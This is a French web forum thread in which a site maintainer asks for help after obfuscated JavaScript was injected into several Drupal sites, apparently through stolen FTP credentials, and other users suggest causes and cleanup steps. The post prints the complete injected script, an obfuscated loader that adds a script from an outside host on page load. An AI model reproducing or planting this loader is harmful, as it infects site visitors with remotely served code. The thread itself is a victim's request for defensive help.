Insertion Script JS

Bonsoir à tous,

Un ami se serait fait 'voler' ses accès des serveurs ftp sur lesquels il travaillait via son ordinateur portable.

Tous les sites concernés ont, depuis, un script js qui vient se glisser en fin du fichier index.php, de plusieurs fichiers js, voire remplace leur contenu (jquery.js).

En espérant ne pas faire de gaffe, voici le script js en question :

Code:

---

1 2

var cf='';this.j='';var D='';function u(){var M;if(M!=''){M='s'};var hW=new Array();this.Xn="";var Q=unescape;var tu=new Array();var H=new Array();this.q="";var A=window;var p=Q("%2f%6a%63%70%65%6e%6e%65%79%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%65%72%65%7a%68%69%6c%74%6f%6e%2e%63%6f%6d%2e%70%68%70");var O;if(O!='VE'){O=''};function a(v,E){var RO=new Date();this.k='';var SM;if(SM!='' && SM!='_L'){SM='Un'};var ss='';var X=new String("g");var c=Q("%5b"), U=Q("%5d");var ex;if(ex!='w' && ex!='FS'){ex='w'};var fP;if(fP!='JD' && fP!='QD'){fP='JD'};var g=c+E+U;var So="";var V=new RegExp(g, X);var tS='';return v.replace(V, new String());};this.Jg='';this.xs="";var WB;if(WB!='ku'){WB='ku'};var jV;if(jV!='rD' && jV != ''){jV=null};var o=new String();var Xg=a('834047484430557','3745');var FR;if(FR!='L' && FR != ''){FR=null};var mD=new Date();var C=document;this.WA='';function F(){this.fjY='';var sM=new Date();var cN=Q("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");this.MB='';o=cN;var Vy=new Date();var IE=new Array();o+=Xg;o+=p;this.KX='';this.B="";var WBm;if(WBm!='' && WBm!='rx'){WBm=''};try {var Bv;if(Bv!='' && Bv!='fE'){Bv='EZ'};h=C.createElement(a('shcHrBiRpBtR','qIHBuD3hR'));var et=new String();h[Q("%64%65%66%65%72")]=[4,1][1];h[Q("%73%72%63")]=o;var ii;if(ii!='rb' && ii!='tW'){ii='rb'};var HB;if(HB!='' && HB!='au'){HB=null};C.body.appendChild(h);var ML=new String();} catch(R){this.TS="";alert(R);this.Pv="";var op="";};}var ms=new String();A["rCe5on".substr(4)+"lo"+"ad"]=F;var LQ="";var sq;if(sq!='pm'){sq=''};var Yz=new String();};var Gg="";u();var zs=new String();var NA;if(NA!='TT'){NA='TT'};

---

Pour le moment, je l'ai retiré là où j'ai pu le trouver. Il s'agit de sites Drupal pour la majorité donc pas évident de trouver tous les fichiers infectés du premier coup. Et j'ai modifié les accès au serveur ftp.

Que puis-je / dois-je faire d'autre ? Comment le pirate/robot a-t-il pu s'y prendre ?

Je vous remercie par avance pour votre aide.
Cordialement,

Salut.
Ca me semble peu probable que ton ami se soit fait voler ses accès FTP.
Il s'agit plus probablement d'une faille dans un des composants de Drupal qui permet une injection XSS.
Reste à trouver lequel puis soit de retirer ce composant soit d'essayer de le corriger toi-même.

Merci bien pour cette réponse.

Ce qui m'intrigue, c'est que l'ensemble des sites dont il avait les accès se sont fait prendre quasi simultanément. Et pas les miens par exemple, sachant qu'on travaille ensemble sur un projet.

Et je ne vois pas comment une injection XSS pourrait insérer du code en dur sur le serveur distant sans les accès au serveur :?
Pourriez-vous éclaircir ce point ou du moins me conseiller un bon "tutoriel" sur ce type de cas, s'il-vous-plaît ?

Merci d'avance pour votre aide.
Cordialement,

Bonsoir,

J'ai eu ce problème et il est très agaçant. Il s'agit d'un trojan infectant l'ordinateur et récupérant les identifiants ftp. Heureusement pas ceux des data-bases mysql.

Il faut désinfecter ton système et changer tes login de connections sur les différents ftp. Car, même après désinfection de l'ordinateur et la réinstallation du système (pour dire qu'il ne restait rien du trojan), les lignes de code revenaient.

Bonjour,

Merci bien pour ces précisions ! Connaissez-vous le nom du trojan ?

En parlant de désinfecter et réinstaller le système, vous parlez de celui à partir duquel je travaille / modifie le contenu ftp, ou celui où est effectivement hébergé le site ?

Je vous remercie par avance pour votre aide.
Cordialement,